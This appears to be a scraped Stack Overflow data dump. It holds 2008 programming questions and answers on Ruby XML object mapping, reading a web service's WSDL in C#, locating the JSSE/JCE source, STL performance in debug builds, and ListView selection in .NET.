<p>Given a moderately complex XML structure (dozens of elements, hundreds of attributes) with no XSD and a desire to create an object model, what's an elegant way to avoid writing boilerplate from_xml() and to_xml() methods? </p> <p>For instance, given:</p> <pre><code>&lt;Foo bar="1"&gt;&lt;Bat baz="blah"/&gt;&lt;/Foo&gt; </code></pre> <p>How do I avoid writing endless sequences of:</p> <pre><code>class Foo attr_reader :bar, :bat def from_xml(el) @bar = el.attributes['bar'] @bat = Bat.new() @bat.from_xml(XPath.first(el, "./bat") end etc... </code></pre> <p>I don't mind creating the object structure explicitly; it's the serialization that I'm just sure can be taken care of with some higher-level programming...</p> <hr> <p>I am not trying to save a line or two per class (by moving from_xml behavior into initializer or class method, etc.). I am looking for the "meta" solution that duplicates my mental process:</p> <p>"I know that every element is going to become a class name. I know that every XML attribute is going to be a field name. I know that the code to assign is just @#{attribute_name} = el.[#{attribute_name}] and then recurse into sub-elements. And reverse on to_xml."</p> <hr> <p>I agree with suggestion that a "builder" class plus XmlSimple seems the right path. XML -> Hash -> ? -> Object model (and Profit!)</p> <hr> <p>Update 2008-09-18 AM: Excellent suggestions from @Roman, @fatgeekuk, and @ScottKoon seem to have broken the problem open. I downloaded HPricot source to see how it solved the problem; key methods are clearly instance_variable_set and class_eval . irb work is very encouraging, am now moving towards implementation .... Very excited</p>
[ { "answer_id": 87079, "author": "Jim Deville", "author_id": 1591, "author_profile": "https://Stackoverflow.com/users/1591", "pm_score": 0, "selected": false, "text": "<p>Could you define a method missing that allows you to do:</p>\n\n<p>@bar = el.bar? That would get rid of some boilerplate. If Bat is always going to be defined that way, you could push the XPath into the initialize method,</p>\n\n<pre><code>class Bar\n def initialize(el)\n self.from_xml(XPath.first(el, \"./bat\"))\n end\nend\n</code></pre>\n\n<p>Hpricot or REXML might help too.</p>\n" }, { "answer_id": 87126, "author": "Dan", "author_id": 8040, "author_profile": "https://Stackoverflow.com/users/8040", "pm_score": 1, "selected": false, "text": "<p>You could use Builder instead of creating your to_xml method, and you could use XMLSimple to pull your xml file into a Hash instead of using the from _xml method. Unfortunately, I'm not sure you'll really gain all that much from using these techniques.</p>\n" }, { "answer_id": 90353, "author": "ScottKoon", "author_id": 1538, "author_profile": "https://Stackoverflow.com/users/1538", "pm_score": 0, "selected": false, "text": "<p>Could you try <a href=\"http://www.rubyinside.com/parse-xml-quickly-and-easily-with-hpricot-166.html\" rel=\"nofollow noreferrer\">parsing the XML with hpricot</a> and using the output to build a plain old Ruby object? [DISCLAIMER]I haven't tried this.</p>\n" }, { "answer_id": 91656, "author": "fatgeekuk", "author_id": 17518, "author_profile": "https://Stackoverflow.com/users/17518", "pm_score": 0, "selected": false, "text": "<p>I would subclass attr_accessor to build your to_xml and from_xml for you.</p>\n\n<p>Something like this (note, this is not fully functional, only an outline)</p>\n\n\n\n<pre class=\"lang-ruby prettyprint-override\"><code>class XmlFoo\n def self.attr_accessor attributes = {}\n # need to add code here to maintain a list of the fields for the subclass, to be used in to_xml and from_xml\n attributes.each do |name, value|\n super name\n end\n end\n\n def to_xml options={}\n # need to use the hash of elements, and determine how to handle them by whether they are .kind_of?(XmlFoo)\n end\n\n def from_xml el\n end\nend\n</code></pre>\n\n<p>you could then use it like....</p>\n\n\n\n<pre class=\"lang-ruby prettyprint-override\"><code>class Second &lt; XmlFoo\n attr_accessor :first_attr =&gt; String, :second_attr =&gt; Float\nend\n\nclass First &lt; XmlFoo\n attr_accessor :normal_attribute =&gt; String, :sub_element =&gt; Second\nend\n</code></pre>\n\n<p>Hope this gives a general idea.</p>\n" }, { "answer_id": 92046, "author": "Roman", "author_id": 12695, "author_profile": "https://Stackoverflow.com/users/12695", "pm_score": 1, "selected": false, "text": "<p>I suggest using a XmlSimple for a start. After you run the XmlSimple#xml_in on your input file, you get a hash. Then you can recurse into it (obj.instance_variables) and turn all internal hashes (element.is_a?(Hash)) to the objects of the same name, for example:</p>\n\n<pre><code>obj.instance_variables.find {|v| obj.send(v.gsub(/^@/,'').to_sym).is_a?(Hash)}.each do |h|\n klass= eval(h.sub(/^@(.)/) { $1.upcase })\n</code></pre>\n\n<p>Perhaps a cleaner way can be found to do this.\nAfterwards, if you want to make an xml from this new object, you'll probably need to change the XmlSimple#xml_out to accept another option, which distinguishes your object from the usual hash it's used to receive as an argument, and then you'll have to write your version of XmlSimple#value_to_xml method, so it'll call the accessor method instead of trying to access a hash structure. Another option, is having all your classes support the [] operator by returning the wanted instance variable.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87021", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10116/" ]
Given a moderately complex XML structure (dozens of elements, hundreds of attributes) with no XSD and a desire to create an object model, what's an elegant way to avoid writing boilerplate from\_xml() and to\_xml() methods? For instance, given: ``` <Foo bar="1"><Bat baz="blah"/></Foo> ``` How do I avoid writing endless sequences of: ``` class Foo attr_reader :bar, :bat def from_xml(el) @bar = el.attributes['bar'] @bat = Bat.new() @bat.from_xml(XPath.first(el, "./bat") end etc... ``` I don't mind creating the object structure explicitly; it's the serialization that I'm just sure can be taken care of with some higher-level programming... --- I am not trying to save a line or two per class (by moving from\_xml behavior into initializer or class method, etc.). I am looking for the "meta" solution that duplicates my mental process: "I know that every element is going to become a class name. I know that every XML attribute is going to be a field name. I know that the code to assign is just @#{attribute\_name} = el.[#{attribute\_name}] and then recurse into sub-elements. And reverse on to\_xml." --- I agree with suggestion that a "builder" class plus XmlSimple seems the right path. XML -> Hash -> ? -> Object model (and Profit!) --- Update 2008-09-18 AM: Excellent suggestions from @Roman, @fatgeekuk, and @ScottKoon seem to have broken the problem open. I downloaded HPricot source to see how it solved the problem; key methods are clearly instance\_variable\_set and class\_eval . irb work is very encouraging, am now moving towards implementation .... Very excited
You could use Builder instead of creating your to\_xml method, and you could use XMLSimple to pull your xml file into a Hash instead of using the from \_xml method. Unfortunately, I'm not sure you'll really gain all that much from using these techniques.
87,023
<p>Is there a straightforward way to query a web service to see which messages it supports? The C# .NET application I'm working on needs to be able to handle an older version of the web service, which does not implement the message I'm trying to send. The web service does not expose a version number, so Plan B is to see if the message is defined.</p> <p>I'm assuming I can just make an HTTP request for the WSDL and parse it, but before I go down that path, I want to make sure there's not a simpler approach.</p> <p>Update: I've decided to get the WSDL and get messages directly. Here's the rough draft for getting all the messages:</p> <pre><code>HttpWebRequest webRequest = (HttpWebRequest) WebRequest.Create( "http://your/web/service/here.asmx?WSDL" ); webRequest.PreAuthenticate = // details elided webRequest.Credentials = // details elided webRequest.Timeout = // details elided HttpWebResponse webResponse = (HttpWebResponse) webRequest.GetResponse(); XPathDocument xpathDocument = new XPathDocument( webResponse.GetResponseStream() ); XPathNavigator xpathNavigator = xpathDocument.CreateNavigator(); XmlNamespaceManager xmlNamespaceManager = new XmlNamespaceManager( new NameTable() ); xmlNamespaceManager.AddNamespace( "wsdl", "http://schemas.xmlsoap.org/wsdl/" ); foreach( XPathNavigator node in xpathNavigator.Select( "//wsdl:message/@name", xmlNamespaceManager ) ) { string messageName = node.Value; } </code></pre>
[ { "answer_id": 87131, "author": "David Thibault", "author_id": 5903, "author_profile": "https://Stackoverflow.com/users/5903", "pm_score": 1, "selected": true, "text": "<p>I'm pretty sure WSDL is the way to do this.</p>\n" }, { "answer_id": 87495, "author": "Tegan Mulholland", "author_id": 16431, "author_profile": "https://Stackoverflow.com/users/16431", "pm_score": 2, "selected": false, "text": "<p>Parsing the WSDL is probably the simplest way to do this. Using WCF, it's also possible to download the WSDL at runtime, essentially run svcutil on it through code, and end up with a dynamically generated proxy that you can check the structure of. See <a href=\"https://learn.microsoft.com/en-us/archive/blogs/vipulmodi/dynamic-programming-with-wcf\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/archive/blogs/vipulmodi/dynamic-programming-with-wcf</a> for an example of a runtime-generated proxy.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87023", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8492/" ]
Is there a straightforward way to query a web service to see which messages it supports? The C# .NET application I'm working on needs to be able to handle an older version of the web service, which does not implement the message I'm trying to send. The web service does not expose a version number, so Plan B is to see if the message is defined. I'm assuming I can just make an HTTP request for the WSDL and parse it, but before I go down that path, I want to make sure there's not a simpler approach. Update: I've decided to get the WSDL and get messages directly. Here's the rough draft for getting all the messages: ``` HttpWebRequest webRequest = (HttpWebRequest) WebRequest.Create( "http://your/web/service/here.asmx?WSDL" ); webRequest.PreAuthenticate = // details elided webRequest.Credentials = // details elided webRequest.Timeout = // details elided HttpWebResponse webResponse = (HttpWebResponse) webRequest.GetResponse(); XPathDocument xpathDocument = new XPathDocument( webResponse.GetResponseStream() ); XPathNavigator xpathNavigator = xpathDocument.CreateNavigator(); XmlNamespaceManager xmlNamespaceManager = new XmlNamespaceManager( new NameTable() ); xmlNamespaceManager.AddNamespace( "wsdl", "http://schemas.xmlsoap.org/wsdl/" ); foreach( XPathNavigator node in xpathNavigator.Select( "//wsdl:message/@name", xmlNamespaceManager ) ) { string messageName = node.Value; } ```
I'm pretty sure WSDL is the way to do this.
87,030
<p>Where can I download the JSSE and JCE source code for the latest release of Java? The source build available at <a href="https://jdk6.dev.java.net/" rel="noreferrer">https://jdk6.dev.java.net/</a> does not include the javax.crypto (JCE) packages nor the com.sun.net.ssl.internal (JSSE) packages.</p> <p>Not being able to debug these classes makes solving SSL issues incredibly difficult.</p>
[ { "answer_id": 87106, "author": "PW.", "author_id": 927, "author_profile": "https://Stackoverflow.com/users/927", "pm_score": 4, "selected": false, "text": "<p>there: <a href=\"http://openjdk.java.net/groups/security/\" rel=\"noreferrer\">openjdk javax.net</a> in the security group </p>\n\n<pre><code>src/share/classes/javax/net\nsrc/share/classes/com/sun/net/ssl\nsrc/share/classes/sun/security/ssl\nsrc/share/classes/sun/net/www/protocol/https\n</code></pre>\n\n<p>also on this page:</p>\n\n<pre><code>src/share/classes/javax/crypto\nsrc/share/classes/com/sun/crypto/provider\nsrc/share/classes/sun/security/pkcs11\nsrc/share/classes/sun/security/mscapi\n</code></pre>\n\n<blockquote>\n <p>These directories contain the core\n cryptography framework and three\n providers (SunJCE, SunPKCS11,\n SunMSCAPI). <strong>SunJCE</strong> contains Java\n implementations of many popular\n algorithms, and the latter two\n libraries allow calls made through the\n standard Java cryptography APIs to be\n routed into their respective native\n libraries.</p>\n</blockquote>\n" }, { "answer_id": 87165, "author": "Matej", "author_id": 11457, "author_profile": "https://Stackoverflow.com/users/11457", "pm_score": 0, "selected": false, "text": "<p>Put <a href=\"http://www.kpdus.com/jad.html\" rel=\"nofollow noreferrer\">Jad</a> on your system path. Install <a href=\"http://jadclipse.sourceforge.net/\" rel=\"nofollow noreferrer\">JadClipse</a> plugin for Eclipse. Use the force, read the decompiled source. :-)</p>\n" }, { "answer_id": 155377, "author": "Chris Markle", "author_id": 1505846, "author_profile": "https://Stackoverflow.com/users/1505846", "pm_score": 1, "selected": false, "text": "<p>While this doesn't directly answer your question, using the javax.net.debug system property has helped me sort through SSL issues. -Djavax.net.debug=all pretty much gives you everything in gory detail. Documentation on this is at <a href=\"http://docs.huihoo.com/java/se/jdk6/docs/guide/security/jsse/JSSERefGuide.html#Debug\" rel=\"nofollow noreferrer\">JSSE Debugging Utilities</a>.</p>\n\n<p>One note: I've seen that on Java 1.4 and maybe 1.5 levels, the output with option \"all\" is not as complete as it is using the same option on the Java 1.6 level. E.g., 1.6 shows the actual contents of network (socket) reads and writes. Maybe some levels of 1.4 and 1.5 do as well, but 1.6 was more consistent.</p>\n" }, { "answer_id": 4813158, "author": "jer", "author_id": 502524, "author_profile": "https://Stackoverflow.com/users/502524", "pm_score": 2, "selected": false, "text": "<p>I downloaded the src jar from: <a href=\"http://download.java.net/jdk6/source/\" rel=\"nofollow\">http://download.java.net/jdk6/source/</a></p>\n\n<p>NOTE: \nThis is a self extracting jar, so just linking to it won't work.</p>\n\n<p>... and <code>jar -xvf &lt;filename&gt;</code> won't work either.</p>\n\n<p>You need to: <code>java -jar &lt;filename&gt;</code></p>\n\n<p>cheers,\njer</p>\n" }, { "answer_id": 7227674, "author": "leef", "author_id": 297841, "author_profile": "https://Stackoverflow.com/users/297841", "pm_score": 2, "selected": false, "text": "<p>if you just want read the source code:</p>\n\n<p><a href=\"http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/sun/security/ssl/SSLSocketImpl.java\" rel=\"nofollow\">http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/sun/security/ssl/SSLSocketImpl.java</a></p>\n" }, { "answer_id": 35956615, "author": "Sergey Ponomarev", "author_id": 1049542, "author_profile": "https://Stackoverflow.com/users/1049542", "pm_score": 1, "selected": false, "text": "<p>For some unknown reason Orcale doesn't released source.jar and javadocs jar for JSE.\nI found only one place where you can find them <a href=\"http://jdk7src.sourceforge.net/\" rel=\"nofollow\">http://jdk7src.sourceforge.net/</a> but it's outdated and unofficial.\nThe only one way is to clone OpenJDK repository</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87030", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Where can I download the JSSE and JCE source code for the latest release of Java? The source build available at <https://jdk6.dev.java.net/> does not include the javax.crypto (JCE) packages nor the com.sun.net.ssl.internal (JSSE) packages. Not being able to debug these classes makes solving SSL issues incredibly difficult.
there: [openjdk javax.net](http://openjdk.java.net/groups/security/) in the security group ``` src/share/classes/javax/net src/share/classes/com/sun/net/ssl src/share/classes/sun/security/ssl src/share/classes/sun/net/www/protocol/https ``` also on this page: ``` src/share/classes/javax/crypto src/share/classes/com/sun/crypto/provider src/share/classes/sun/security/pkcs11 src/share/classes/sun/security/mscapi ``` > > These directories contain the core > cryptography framework and three > providers (SunJCE, SunPKCS11, > SunMSCAPI). **SunJCE** contains Java > implementations of many popular > algorithms, and the latter two > libraries allow calls made through the > standard Java cryptography APIs to be > routed into their respective native > libraries. > > >
87,096
<p>I really hate using STL containers because they make the debug version of my code run really slowly. What do other people use instead of STL that has reasonable performance for debug builds?</p> <p>I'm a game programmer and this has been a problem on many of the projects I've worked on. It's pretty hard to get 60 fps when you use STL container for everything.</p> <p>I use MSVC for most of my work.</p>
[ { "answer_id": 87108, "author": "Fred Larson", "author_id": 10077, "author_profile": "https://Stackoverflow.com/users/10077", "pm_score": 2, "selected": false, "text": "<p>I'll bet your STL uses a checked implementation for debug. This is probably a good thing, as it will catch iterator overruns and such. If it's that much of a problem for you, there may be a compiler switch to turn it off. Check your docs.</p>\n" }, { "answer_id": 87113, "author": "MarkR", "author_id": 13724, "author_profile": "https://Stackoverflow.com/users/13724", "pm_score": 0, "selected": false, "text": "<p>STL containers should not run \"really slowly\" in debug or anywhere else. Perhaps you're misusing them. You're not running against something like ElectricFence or Valgrind in debug are you? They slow anything down that does lots of allocations.</p>\n\n<p>All the containers can use custom allocators, which some people use to improve performance - but I've never needed to use them myself.</p>\n" }, { "answer_id": 87152, "author": "Will Dean", "author_id": 987, "author_profile": "https://Stackoverflow.com/users/987", "pm_score": 2, "selected": false, "text": "<p>If you're using Visual C++, then you should have a look at this:</p>\n\n<p><a href=\"http://channel9.msdn.com/shows/Going+Deep/STL-Iterator-Debugging-and-Secure-SCL/\" rel=\"nofollow noreferrer\">http://channel9.msdn.com/shows/Going+Deep/STL-Iterator-Debugging-and-Secure-SCL/</a></p>\n\n<p>and the links from that page, which cover the various costs and options of all the debug-mode checking which the MS/Dinkware STL does.</p>\n\n<p>If you're going to ask such a platform dependent question, it would be a good idea to mention your platform, too...</p>\n" }, { "answer_id": 87191, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 2, "selected": false, "text": "<p>Check out <a href=\"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html\" rel=\"nofollow noreferrer\">EASTL</a>.</p>\n" }, { "answer_id": 87239, "author": "Nemanja Trifunovic", "author_id": 8899, "author_profile": "https://Stackoverflow.com/users/8899", "pm_score": 1, "selected": false, "text": "<p>Ultimate++ has its own set of containers - not sure if you can use them separatelly from the rest of the library: <a href=\"http://www.ultimatepp.org/\" rel=\"nofollow noreferrer\">http://www.ultimatepp.org/</a></p>\n" }, { "answer_id": 87265, "author": "rhinovirus", "author_id": 16715, "author_profile": "https://Stackoverflow.com/users/16715", "pm_score": 3, "selected": false, "text": "<p>If your running visual studios you may want to consider the following:</p>\n\n<pre><code>#define _SECURE_SCL 0\n#define _HAS_ITERATOR_DEBUGGING 0\n</code></pre>\n\n<p>That's just for iterators, what type of STL operations are you preforming? You may want to look at optimizing your memory operations; ie, using resize() to insert several elements at once instead of using pop/push to insert elements one at a time.</p>\n" }, { "answer_id": 87377, "author": "Thomas Koschel", "author_id": 2012356, "author_profile": "https://Stackoverflow.com/users/2012356", "pm_score": 1, "selected": false, "text": "<p>What about the <a href=\"http://www.cs.wustl.edu/~schmidt/ACE.html\" rel=\"nofollow noreferrer\" title=\"ACE Library\">ACE library</a>? It's an open-source object-oriented framework for concurrent communication software, but it also has some container classes.</p>\n" }, { "answer_id": 87379, "author": "rasmusb", "author_id": 16726, "author_profile": "https://Stackoverflow.com/users/16726", "pm_score": 4, "selected": false, "text": "<p>My experience is that well designed STL code runs slowly in debug builds because the optimizer is turned off. STL containers emit a lot of calls to constructors and operator= which (if they are light weight) gets inlined/removed in release builds.</p>\n\n<p>Also, Visual C++ 2005 and up has checking enabled for STL in both release and debug builds. It is a huge performance hog for STL-heavy software. It can be disabled by defining _SECURE_SCL=0 for all your compilation units. Please note that having different _SECURE_SCL status in different compilation units will almost certainly lead to disaster.</p>\n\n<p>You could create a third build configuration with checking turned off and use that to debug with performance. I recommend you to keep a debug configuration with checking on though, since it's very helpful to catch erroneous array indices and stuff like that.</p>\n" }, { "answer_id": 87400, "author": "Jeff", "author_id": 16639, "author_profile": "https://Stackoverflow.com/users/16639", "pm_score": 5, "selected": false, "text": "<p>EASTL is a possibility, but still not perfect. Paul Pedriana of Electronic Arts did an investigation of various STL implementations with respect to performance in game applications the summary of which is found here:\n<a href=\"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html\" rel=\"noreferrer\">http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html</a></p>\n\n<p>Some of these adjustments to are being reviewed for inclusion in the C++ standard.</p>\n\n<p>And note, even EASTL doesn't optimize for the non-optimized case. I had an excel file w/ some timing a while back but I think I've lost it, but for access it was something like:</p>\n\n<pre><code> debug release\nSTL 100 10\nEASTL 10 3\narray[i] 3 1\n</code></pre>\n\n<p>The most success I've had was rolling my own containers. You can get those down to near array[x] performance.</p>\n" }, { "answer_id": 87418, "author": "Vicent Marti", "author_id": 4381, "author_profile": "https://Stackoverflow.com/users/4381", "pm_score": 3, "selected": false, "text": "<p>For big, performance critical applications, building your own containers specifically tailored to your needs may be worth the time investment.</p>\n\n<p>I´m talking about <em>real</em> game development here.</p>\n" }, { "answer_id": 87605, "author": "Roger Nelson", "author_id": 14964, "author_profile": "https://Stackoverflow.com/users/14964", "pm_score": 1, "selected": false, "text": "<p>Checkout Data Structures and Algorithms with Object-Oriented Design Patterns in C++\nBy Bruno Preiss\n<a href=\"http://www.brpreiss.com/\" rel=\"nofollow noreferrer\">http://www.brpreiss.com/</a></p>\n" }, { "answer_id": 89578, "author": "puetzk", "author_id": 14312, "author_profile": "https://Stackoverflow.com/users/14312", "pm_score": 2, "selected": false, "text": "<p>MSVC uses a very heavyweight implementation of checked iterators in debug builds, which others have already discussed, so I won't repeat it (but start there)</p>\n\n<p>One other thing that might be of interest to you is that your \"debug build\" and \"release build\" probably involves changing (at least) 4 settings which are only loosely related.</p>\n\n<ol>\n<li>Generating a .pdb file (cl /Zi and link /DEBUG), which allows symbolic debugging. You may want to add /OPT:ref to the linker options; the linker drops unreferenced functions when not making a .pdb file, but with /DEBUG mode it keeps them all (since the debug symbols reference them) unless you add this expicitly.</li>\n<li>Using a debug version of the C runtime library (probably MSVCR*D.dll, but it depends on what runtime you're using). This boils down to /MT or /MTd (or something else if not using the dll runtime)</li>\n<li>Turning off the compiler optimizations (/Od)</li>\n<li>setting the preprocessor #defines DEBUG or NDEBUG</li>\n</ol>\n\n<p>These can be switched independently. The first costs nothing in runtime performance, though it adds size. The second makes a number of functions more expensive, but has a huge impact on malloc and free; the debug runtime versions are careful to \"poison\" the memory they touch with values to make uninitialized data bugs clear. I believe with the MSVCP* STL implementations it also eliminates all the allocation pooling that is usually done, so that leaks show exactly the block you'd think and not some larger chunk of memory that it's been sub-allocating; that means it makes more calls to malloc on top of them being much slower. The third; well, that one does lots of things (<a href=\"https://stackoverflow.com/questions/69250/why-does-a-cc-program-often-have-optimization-turned-off-in-debug-mode\">this question</a> has some good discussion of the subject). Unfortunately, it's needed if you want single-stepping to work smoothly. The fourth affects lots of libraries in various ways, but most notable it compiles in or eliminates assert() and friends.</p>\n\n<p>So you might consider making a build with some lesser combination of these selections. I make a lot of use of builds that use have symbols (/Zi and link /DEBUG) and asserts (/DDEBUG), but are still optimized (/O1 or /O2 or whatever flags you use) but with stack frame pointers kept for clear backtraces (/Oy-) and using the normal runtime library (/MT). This performs close to my release build and is semi-debuggable (backtraces are fine, single-stepping is a bit wacky at the source level; assembly level works fine of course). You can have however many configurations you want; just clone your release one and turn on whatever parts of the debugging seem useful.</p>\n" }, { "answer_id": 92745, "author": "Greg Rogers", "author_id": 5963, "author_profile": "https://Stackoverflow.com/users/5963", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://qt-project.org/\" rel=\"nofollow noreferrer\">Qt</a> has reimplemented most c++ standard library stuff with different interfaces. It looks pretty good, but it can be expensive for the commercially licensed version.</p>\n\n<p>Edit: Qt has since been released under <a href=\"http://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License\" rel=\"nofollow noreferrer\">LGPL</a>, which usually makes it possible to use it in commercial product without bying the commercial version (which also still exists).</p>\n" }, { "answer_id": 4697611, "author": "J. Lurshen", "author_id": 576431, "author_profile": "https://Stackoverflow.com/users/576431", "pm_score": 2, "selected": false, "text": "<p>Sorry, I can't leave a comment, so here's an answer: EASTL is now available at github: <a href=\"https://github.com/paulhodge/EASTL\" rel=\"nofollow\">https://github.com/paulhodge/EASTL</a></p>\n" }, { "answer_id": 57325239, "author": "schoetbi", "author_id": 108238, "author_profile": "https://Stackoverflow.com/users/108238", "pm_score": 0, "selected": false, "text": "<p>There is also the ETL <a href=\"https://www.etlcpp.com/\" rel=\"nofollow noreferrer\">https://www.etlcpp.com/</a>. This library aims especially for time critical (deterministic) applications</p>\n\n<p>From the webpage:</p>\n\n<blockquote>\n <p>The ETL is not designed to completely replace the STL, but complement\n it. Its design objective covers four main areas.</p>\n \n <ul>\n <li>Create a set of containers where the size or maximum size is determined at compile time. These containers should be largely\n equivalent to those supplied in the STL, with a compatible API.</li>\n <li>Be compatible with C++ 03 but implement as many of the C++ 11 additions as possible.</li>\n <li>Have deterministic behaviour.</li>\n <li>Add other useful components that are not present in the standard library.</li>\n </ul>\n \n <p>The embedded template library has been designed for lower resource\n embedded applications. It defines a set of containers, algorithms and\n utilities, some of which emulate parts of the STL. There is no dynamic\n memory allocation. The library makes no use of the heap. All of the\n containers (apart from intrusive types) have a fixed capacity allowing\n all memory allocation to be determined at compile time. The library is\n intended for any compiler that supports C++03.</p>\n</blockquote>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87096", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16679/" ]
I really hate using STL containers because they make the debug version of my code run really slowly. What do other people use instead of STL that has reasonable performance for debug builds? I'm a game programmer and this has been a problem on many of the projects I've worked on. It's pretty hard to get 60 fps when you use STL container for everything. I use MSVC for most of my work.
EASTL is a possibility, but still not perfect. Paul Pedriana of Electronic Arts did an investigation of various STL implementations with respect to performance in game applications the summary of which is found here: <http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html> Some of these adjustments to are being reviewed for inclusion in the C++ standard. And note, even EASTL doesn't optimize for the non-optimized case. I had an excel file w/ some timing a while back but I think I've lost it, but for access it was something like: ``` debug release STL 100 10 EASTL 10 3 array[i] 3 1 ``` The most success I've had was rolling my own containers. You can get those down to near array[x] performance.
87,101
<p>What is a good way to select all or select no items in a listview without using:</p> <pre><code>foreach (ListViewItem item in listView1.Items) { item.Selected = true; } </code></pre> <p>or</p> <pre><code>foreach (ListViewItem item in listView1.Items) { item.Selected = false; } </code></pre> <p>I know the underlying Win32 listview common control supports <a href="http://msdn.microsoft.com/en-us/library/bb761196(VS.85).aspx" rel="nofollow noreferrer">LVM_SETITEMSTATE message</a> which you can use to set the selected state, and by passing -1 as the index it will apply to all items. I'd rather not be PInvoking messages to the control that happens to be behind the .NET Listview control (I don't want to be a bad developer and rely on undocumented behavior - for when they change it to a fully managed ListView class)</p> <h2>Bump</h2> <p><a href="https://stackoverflow.com/questions/87101/how-to-selectall-selectnone-in-net-2-0-listview/87209#87209">Pseudo Masochist</a> has the <strong>SelectNone</strong> case:</p> <pre><code>ListView1.SelectedItems.Clear(); </code></pre> <p>Now just need the <strong>SelectAll</strong> code</p>
[ { "answer_id": 87108, "author": "Fred Larson", "author_id": 10077, "author_profile": "https://Stackoverflow.com/users/10077", "pm_score": 2, "selected": false, "text": "<p>I'll bet your STL uses a checked implementation for debug. This is probably a good thing, as it will catch iterator overruns and such. If it's that much of a problem for you, there may be a compiler switch to turn it off. Check your docs.</p>\n" }, { "answer_id": 87113, "author": "MarkR", "author_id": 13724, "author_profile": "https://Stackoverflow.com/users/13724", "pm_score": 0, "selected": false, "text": "<p>STL containers should not run \"really slowly\" in debug or anywhere else. Perhaps you're misusing them. You're not running against something like ElectricFence or Valgrind in debug are you? They slow anything down that does lots of allocations.</p>\n\n<p>All the containers can use custom allocators, which some people use to improve performance - but I've never needed to use them myself.</p>\n" }, { "answer_id": 87152, "author": "Will Dean", "author_id": 987, "author_profile": "https://Stackoverflow.com/users/987", "pm_score": 2, "selected": false, "text": "<p>If you're using Visual C++, then you should have a look at this:</p>\n\n<p><a href=\"http://channel9.msdn.com/shows/Going+Deep/STL-Iterator-Debugging-and-Secure-SCL/\" rel=\"nofollow noreferrer\">http://channel9.msdn.com/shows/Going+Deep/STL-Iterator-Debugging-and-Secure-SCL/</a></p>\n\n<p>and the links from that page, which cover the various costs and options of all the debug-mode checking which the MS/Dinkware STL does.</p>\n\n<p>If you're going to ask such a platform dependent question, it would be a good idea to mention your platform, too...</p>\n" }, { "answer_id": 87191, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 2, "selected": false, "text": "<p>Check out <a href=\"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html\" rel=\"nofollow noreferrer\">EASTL</a>.</p>\n" }, { "answer_id": 87239, "author": "Nemanja Trifunovic", "author_id": 8899, "author_profile": "https://Stackoverflow.com/users/8899", "pm_score": 1, "selected": false, "text": "<p>Ultimate++ has its own set of containers - not sure if you can use them separatelly from the rest of the library: <a href=\"http://www.ultimatepp.org/\" rel=\"nofollow noreferrer\">http://www.ultimatepp.org/</a></p>\n" }, { "answer_id": 87265, "author": "rhinovirus", "author_id": 16715, "author_profile": "https://Stackoverflow.com/users/16715", "pm_score": 3, "selected": false, "text": "<p>If your running visual studios you may want to consider the following:</p>\n\n<pre><code>#define _SECURE_SCL 0\n#define _HAS_ITERATOR_DEBUGGING 0\n</code></pre>\n\n<p>That's just for iterators, what type of STL operations are you preforming? You may want to look at optimizing your memory operations; ie, using resize() to insert several elements at once instead of using pop/push to insert elements one at a time.</p>\n" }, { "answer_id": 87377, "author": "Thomas Koschel", "author_id": 2012356, "author_profile": "https://Stackoverflow.com/users/2012356", "pm_score": 1, "selected": false, "text": "<p>What about the <a href=\"http://www.cs.wustl.edu/~schmidt/ACE.html\" rel=\"nofollow noreferrer\" title=\"ACE Library\">ACE library</a>? It's an open-source object-oriented framework for concurrent communication software, but it also has some container classes.</p>\n" }, { "answer_id": 87379, "author": "rasmusb", "author_id": 16726, "author_profile": "https://Stackoverflow.com/users/16726", "pm_score": 4, "selected": false, "text": "<p>My experience is that well designed STL code runs slowly in debug builds because the optimizer is turned off. STL containers emit a lot of calls to constructors and operator= which (if they are light weight) gets inlined/removed in release builds.</p>\n\n<p>Also, Visual C++ 2005 and up has checking enabled for STL in both release and debug builds. It is a huge performance hog for STL-heavy software. It can be disabled by defining _SECURE_SCL=0 for all your compilation units. Please note that having different _SECURE_SCL status in different compilation units will almost certainly lead to disaster.</p>\n\n<p>You could create a third build configuration with checking turned off and use that to debug with performance. I recommend you to keep a debug configuration with checking on though, since it's very helpful to catch erroneous array indices and stuff like that.</p>\n" }, { "answer_id": 87400, "author": "Jeff", "author_id": 16639, "author_profile": "https://Stackoverflow.com/users/16639", "pm_score": 5, "selected": false, "text": "<p>EASTL is a possibility, but still not perfect. Paul Pedriana of Electronic Arts did an investigation of various STL implementations with respect to performance in game applications the summary of which is found here:\n<a href=\"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html\" rel=\"noreferrer\">http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html</a></p>\n\n<p>Some of these adjustments to are being reviewed for inclusion in the C++ standard.</p>\n\n<p>And note, even EASTL doesn't optimize for the non-optimized case. I had an excel file w/ some timing a while back but I think I've lost it, but for access it was something like:</p>\n\n<pre><code> debug release\nSTL 100 10\nEASTL 10 3\narray[i] 3 1\n</code></pre>\n\n<p>The most success I've had was rolling my own containers. You can get those down to near array[x] performance.</p>\n" }, { "answer_id": 87418, "author": "Vicent Marti", "author_id": 4381, "author_profile": "https://Stackoverflow.com/users/4381", "pm_score": 3, "selected": false, "text": "<p>For big, performance critical applications, building your own 